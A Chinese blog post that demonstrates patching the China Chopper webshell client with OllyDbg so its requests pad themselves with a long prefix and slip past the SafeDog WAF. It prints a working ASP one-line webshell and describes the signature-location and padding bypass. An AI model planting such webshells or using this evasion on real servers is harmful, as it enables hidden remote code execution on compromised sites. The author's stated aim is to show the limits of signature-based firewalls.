逆向修改菜刀过安全狗

引子

文章是去年写的,现在菜刀过狗也不是很难了,只是做一个逆向修改菜刀的演示。

环境:Windows2003
中间件:iis6.0
安全狗版本:安全狗iis枸杞版3.5
菜刀:chopper.exe md5: e2caee9b7844ea06d964ad138d1da1f9
工具:吾爱破解专用版Ollydbg,LordPE,C32ASM

尝试

主要是为了绕过安全狗的一句话检测,开启这个就行了。


在IIS目录放一句话木马。

GIF89
<%eval request(“1”)%>

最普通的那种,并没有各种乱七八糟的变形之类的。
通过浏览器访问。


正常的,并没有被拦截。添加到菜刀列表,访问试试看。

通过菜刀访问,被安全狗拦截了,打开fiddler看看封包。

分析修改

因为以前做过免杀,所以最早的时候没有各种工具可以定位,我是通过OD的一半一半法来定位被查杀的位置。
AAAAAAAAAAAAAAABBAAAAAAAAAAAAAAA
我当时的想法是,能不能运用在过WAF上,先把特征码对半,然后慢慢对被检测的补位进行定位。


去掉一般的封包重发,还是被拦截,看来特征在前半段。


已经没有被拦截的提示,但是程序也是报错了,毕竟代码不完整,于是我想到了之前过安全狗的SQL注入是通过加很长很长的字符,然后就能绕过SQL注入检测,那么如果我给这段封包加很长的字符是不是也可以绕过。


通过增加很长的前缀,就过掉了安全狗,但是如果我每个封包都这样拦截修改是不是太麻烦了。于是我想到了通过OD修改。


原版的菜刀并没有加壳,可以直接修改,打开OD查看下字符串。


这个位置是ASP的原版字符串,通过这里修改就可以修改他的发包,但是因为需要增加的长多比较大,所以原程序并没有那么大的空地址段给我写,要自己另外增加区段。
上C32,新建一个文件,然后把前面的字符加进来。


区段做好了,然后用PEid把区段加到程序里。


然后通过OD修改,字符串偏移位置。


这里是004ab000


保存下文件,然后用fiddler抓包查看是否天然带我们的字符串。


通过修改发包已经天然带字符串,当然不止修改一个地方,要完成ASP完成可用要修改好几处位置。

总结

刚开始我认为这些waf是完美的,后来我发现,这些防火墙有些类似于早点的杀毒软件,通过特征库来拦截,只要找对特征,就可以对症下药,不同品牌的防火墙规则不同,但是换汤不换药基本都是这样的套路,兵来将敌水来土堰靠规则并不靠谱,修改web程序中的漏洞才是关键,过度依赖防火墙并不能很好的保护网站。
jsp与php 版过防火墙:PyCmd 加密隐形木马